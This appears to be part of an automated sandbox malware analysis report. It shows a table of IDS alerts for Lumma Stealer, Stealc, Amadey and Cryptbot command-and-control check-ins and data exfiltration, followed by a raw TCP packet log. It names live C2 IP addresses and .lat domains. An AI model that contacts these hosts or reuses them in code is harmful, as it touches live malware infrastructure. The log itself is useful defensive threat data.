2024-12-18T17:09:44.532596+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50076	185.215.113.16	80	TCP
2024-12-18T17:09:46.570664+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50083	172.67.179.109	443	TCP
2024-12-18T17:09:46.570664+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50083	172.67.179.109	443	TCP
2024-12-18T17:09:47.486958+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50083	172.67.179.109	443	TCP
2024-12-18T17:09:47.486958+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50083	172.67.179.109	443	TCP
2024-12-18T17:09:47.680652+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50085	185.215.113.206	80	TCP
2024-12-18T17:09:47.908746+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50087	185.185.71.170	80	TCP
2024-12-18T17:09:48.723081+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50092	172.67.179.109	443	TCP
2024-12-18T17:09:48.723081+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50092	172.67.179.109	443	TCP
2024-12-18T17:09:49.529305+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50092	172.67.179.109	443	TCP
2024-12-18T17:09:53.632936+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50103	185.215.113.43	80	TCP
2024-12-18T17:09:55.716958+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.16	80	192.168.2.4	50105	TCP
2024-12-18T17:09:56.043078+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50105	185.215.113.16	80	TCP
2024-12-18T17:09:56.830840+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50110	185.215.113.206	80	TCP
2024-12-18T17:09:57.721547+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50105	185.215.113.16	80	TCP
2024-12-18T17:09:58.176830+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50105	185.215.113.16	80	TCP
2024-12-18T17:09:59.579339+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50118	185.215.113.206	80	TCP
2024-12-18T17:10:04.172656+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50105	185.215.113.16	80	TCP
2024-12-18T17:10:05.419596+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50105	185.215.113.16	80	TCP
2024-12-18T17:10:05.456440+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50148	185.215.113.206	80	TCP
2024-12-18T17:10:13.000411+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50187	185.215.113.206	80	TCP
2024-12-18T17:10:30.313503+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50197	185.215.113.206	80	TCP
2024-12-18T17:12:59.093342+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50279	TCP
2024-12-18T17:13:00.457149+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50282	185.215.113.43	80	TCP
2024-12-18T17:13:06.890940+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	50291	185.215.113.16	80	TCP
2024-12-18T17:13:55.950405+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50310	TCP
2024-12-18T17:14:03.341302+0100	2044623	ET MALWARE Amadey Bot Activity (POST)	1	192.168.2.4	50313	185.215.113.43	80	TCP
2024-12-18T17:14:24.225589+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	56753	1.1.1.1	53	UDP
2024-12-18T17:14:24.371684+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.4	58436	1.1.1.1	53	UDP
2024-12-18T17:14:25.374439+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	50319	TCP
2024-12-18T17:14:25.740191+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50321	172.67.179.109	443	TCP
2024-12-18T17:14:25.740191+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50321	172.67.179.109	443	TCP
2024-12-18T17:14:26.710149+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50322	185.215.113.43	80	TCP
2024-12-18T17:14:27.811922+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50321	172.67.179.109	443	TCP
2024-12-18T17:14:27.811922+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50321	172.67.179.109	443	TCP
2024-12-18T17:14:29.063763+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50324	172.67.179.109	443	TCP
2024-12-18T17:14:29.063763+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50324	172.67.179.109	443	TCP
2024-12-18T17:14:30.861182+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50326	185.215.113.43	80	TCP
2024-12-18T17:14:31.529961+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50325	185.215.113.206	80	TCP
2024-12-18T17:14:31.791041+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50324	172.67.179.109	443	TCP
2024-12-18T17:14:31.791041+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50324	172.67.179.109	443	TCP
2024-12-18T17:14:33.272436+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50327	172.67.179.109	443	TCP
2024-12-18T17:14:33.272436+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50327	172.67.179.109	443	TCP
2024-12-18T17:14:36.066739+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	60613	1.1.1.1	53	UDP
2024-12-18T17:14:36.820841+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50328	172.67.179.109	443	TCP
2024-12-18T17:14:36.820841+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50328	172.67.179.109	443	TCP
2024-12-18T17:14:37.437747+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50330	172.67.179.109	443	TCP
2024-12-18T17:14:37.437747+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50330	172.67.179.109	443	TCP
2024-12-18T17:14:37.771408+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	50328	172.67.179.109	443	TCP
2024-12-18T17:14:38.337911+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50330	172.67.179.109	443	TCP
2024-12-18T17:14:38.337911+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50330	172.67.179.109	443	TCP
2024-12-18T17:14:39.055117+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50331	172.67.179.109	443	TCP
2024-12-18T17:14:39.055117+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50331	172.67.179.109	443	TCP
2024-12-18T17:14:39.593178+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50332	172.67.179.109	443	TCP
2024-12-18T17:14:39.593178+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50332	172.67.179.109	443	TCP
2024-12-18T17:14:40.437142+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50332	172.67.179.109	443	TCP
2024-12-18T17:14:40.437142+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50332	172.67.179.109	443	TCP
2024-12-18T17:14:41.177587+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50333	185.215.113.43	80	TCP
2024-12-18T17:14:41.718266+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50334	172.67.179.109	443	TCP
2024-12-18T17:14:41.718266+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50334	172.67.179.109	443	TCP
2024-12-18T17:14:41.958915+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50335	172.67.179.109	443	TCP
2024-12-18T17:14:41.958915+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50335	172.67.179.109	443	TCP
2024-12-18T17:14:44.017266+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50354	172.67.179.109	443	TCP
2024-12-18T17:14:44.017266+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50354	172.67.179.109	443	TCP
2024-12-18T17:14:44.615712+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	49293	1.1.1.1	53	UDP
2024-12-18T17:14:44.791266+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50354	172.67.179.109	443	TCP
2024-12-18T17:14:45.198353+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50360	172.67.179.109	443	TCP
2024-12-18T17:14:45.198353+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50360	172.67.179.109	443	TCP
2024-12-18T17:14:45.989393+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50368	172.67.179.109	443	TCP
2024-12-18T17:14:45.989393+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50368	172.67.179.109	443	TCP
2024-12-18T17:14:46.023136+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50369	172.67.179.109	443	TCP
2024-12-18T17:14:46.023136+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50369	172.67.179.109	443	TCP
2024-12-18T17:14:46.732608+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50368	172.67.179.109	443	TCP
2024-12-18T17:14:46.732608+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50368	172.67.179.109	443	TCP
2024-12-18T17:14:46.807206+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50371	185.215.113.43	80	TCP
2024-12-18T17:14:47.043816+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50369	172.67.179.109	443	TCP
2024-12-18T17:14:47.514653+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50374	172.67.179.109	443	TCP
2024-12-18T17:14:47.514653+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50374	172.67.179.109	443	TCP
2024-12-18T17:14:47.962760+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50375	172.67.179.109	443	TCP
2024-12-18T17:14:47.962760+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50375	172.67.179.109	443	TCP
2024-12-18T17:14:48.521609+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50377	185.215.113.16	80	TCP
2024-12-18T17:14:48.698816+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50375	172.67.179.109	443	TCP
2024-12-18T17:14:48.698816+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50375	172.67.179.109	443	TCP
2024-12-18T17:14:49.680087+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50379	172.67.179.109	443	TCP
2024-12-18T17:14:49.680087+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50379	172.67.179.109	443	TCP
2024-12-18T17:14:50.251524+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50381	172.67.179.109	443	TCP
2024-12-18T17:14:50.251524+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50381	172.67.179.109	443	TCP
2024-12-18T17:14:51.734974+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50382	172.67.179.109	443	TCP
2024-12-18T17:14:51.734974+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50382	172.67.179.109	443	TCP
2024-12-18T17:14:52.208218+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50383	172.67.179.109	443	TCP
2024-12-18T17:14:52.208218+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50383	172.67.179.109	443	TCP
2024-12-18T17:14:52.516075+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50382	172.67.179.109	443	TCP
2024-12-18T17:14:53.748601+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50385	172.67.179.109	443	TCP
2024-12-18T17:14:53.748601+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50385	172.67.179.109	443	TCP
2024-12-18T17:14:54.223239+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50386	172.67.179.109	443	TCP
2024-12-18T17:14:54.223239+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50386	172.67.179.109	443	TCP
2024-12-18T17:14:54.466877+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50385	172.67.179.109	443	TCP
2024-12-18T17:14:55.379131+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50387	185.215.113.206	80	TCP
2024-12-18T17:14:55.934283+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50388	185.215.113.16	80	TCP
2024-12-18T17:14:56.370178+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50390	172.67.179.109	443	TCP
2024-12-18T17:14:56.370178+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50390	172.67.179.109	443	TCP
2024-12-18T17:14:58.724112+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50392	172.67.179.109	443	TCP
2024-12-18T17:14:58.724112+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50392	172.67.179.109	443	TCP
2024-12-18T17:14:59.298768+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50391	185.215.113.206	80	TCP
2024-12-18T17:14:59.586010+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50392	172.67.179.109	443	TCP
2024-12-18T17:15:00.874692+0100	2058365	ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI)	1	192.168.2.4	50394	172.67.179.109	443	TCP
2024-12-18T17:15:00.874692+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50394	172.67.179.109	443	TCP
2024-12-18T17:15:01.907758+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50394	172.67.179.109	443	TCP
2024-12-18T17:15:03.385623+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	50397	185.215.113.16	80	TCP
2024-12-18T17:15:06.946313+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50399	185.215.113.206	80	TCP
2024-12-18T17:15:14.164287+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50436	185.215.113.206	80	TCP
2024-12-18T17:15:25.373856+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50442	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 17:08:03.719580889 CET	49737	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:03.844134092 CET	80	49737	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:03.845093966 CET	49737	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:03.845320940 CET	49737	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:03.971577883 CET	80	49737	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:05.213818073 CET	80	49737	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:05.213927031 CET	49737	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:06.716587067 CET	49737	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:06.717046022 CET	49743	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:06.842818975 CET	80	49743	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:06.842891932 CET	80	49737	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:06.842959881 CET	49743	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:06.842989922 CET	49737	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:06.843209028 CET	49743	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:06.966000080 CET	80	49743	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:08.238466978 CET	80	49743	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:08.238590956 CET	80	49743	185.215.113.43	192.168.2.4
Dec 18, 2024 17:08:08.238650084 CET	49743	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:08.238672972 CET	49743	80	192.168.2.4	185.215.113.43
Dec 18, 2024 17:08:08.245884895 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:08.365572929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:08.365744114 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:08.365999937 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:08.485682964 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.707436085 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.707511902 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.707536936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.707577944 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.707597971 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.707647085 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.707856894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.707892895 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.707911015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.707945108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.708323002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.708358049 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.708379984 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.708408117 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.708697081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.708746910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.708749056 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.708786011 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.708803892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.708837032 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.827553988 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.827610970 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.827657938 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.827699900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.831763983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.831819057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.900083065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.900162935 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.900167942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.900221109 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.904342890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.904412031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.904500961 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.904561996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.912991047 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.913058996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.913163900 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.913220882 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.921171904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.921232939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.921320915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.921370983 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.929431915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.929496050 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.929565907 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.929616928 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.937897921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.937990904 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.938081026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.938134909 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.946322918 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.946402073 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.946428061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.946485043 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.955003023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.955085039 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.955107927 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.955166101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.963444948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.963500023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.963546991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.963568926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.971477985 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.971540928 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.971631050 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.971801996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.979072094 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.979150057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:09.979269028 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:09.979329109 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.019938946 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.020030975 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.020030975 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.020095110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.092278004 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.092354059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.092411995 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.092469931 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.094615936 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.094666004 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.094717979 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.094772100 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.099287987 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.099359989 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.101022959 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.101083994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.101162910 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.101222992 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.106092930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.106156111 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.106228113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.106281996 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.110654116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.110733032 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.110824108 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.110877991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.115339041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.115417957 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.115462065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.115529060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:10.119991064 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:10.120060921 CET	49749	80	192.168.2.4	31.41.244.11
